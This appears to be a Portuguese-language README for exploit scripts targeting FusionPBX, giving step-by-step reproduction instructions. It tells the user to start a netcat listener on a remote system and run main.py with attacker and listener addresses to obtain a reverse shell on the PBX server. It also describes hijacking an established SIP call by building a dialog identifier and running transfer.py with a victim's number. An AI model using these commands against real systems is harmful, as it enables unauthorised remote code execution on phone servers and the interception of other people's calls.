Prelúdio

Este código simples tenta completar a implementação da vulnerabilidade encadeada introduzida por Dustin Cobb em RCE Using Caller ID – Multiple Vulnerabilities In FusionPBX.

RCE

Passos de Reprodução

1. Visualize a tela do operador vulnerável em um navegador web, localizada neste exemplo em https://{fusionpbx_address}/app/operator_panel/index.php
2. Inicie um listener netcat em um sistema remoto (rce_listener_address).
3. Execute o código de exploração abaixo no sistema remoto em outra janela de terminal python3 .\main.py --close_rce_sockets False --attacker_address {attacker_address} --fusion_pbx_address {fusion_pbx_address} --rce_listener_address {rce_listener_address}
4. A exploração se conectará ao listener netcat e fornecerá um shell reverso

Substituir uma chamada

Enquanto conhecemos Call-ID, from-tag e to-tag de uma chamada, executar o código abaixo substituirá você no lugar da vítima na chamada.

Passos de Reprodução

1. Primeiro, inicie uma chamada entre dois SIP UA.
2. Após o estabelecimento da chamada, precisamos construir o dialog_identifier concatenando {Call-ID}{semicolon}"to-teg:"{to-tag}"from-tag"{from-tag}.
3. Execute o código hijacker abaixo no sistema remoto e substitua você pelo número da vítima. python3 .\transfer.py --attacker_address {attacker_address} --fusion_pbx_address {fusion_pbx_address} --victim_number {victim_number} --dialog_identifier {dialog_identifier}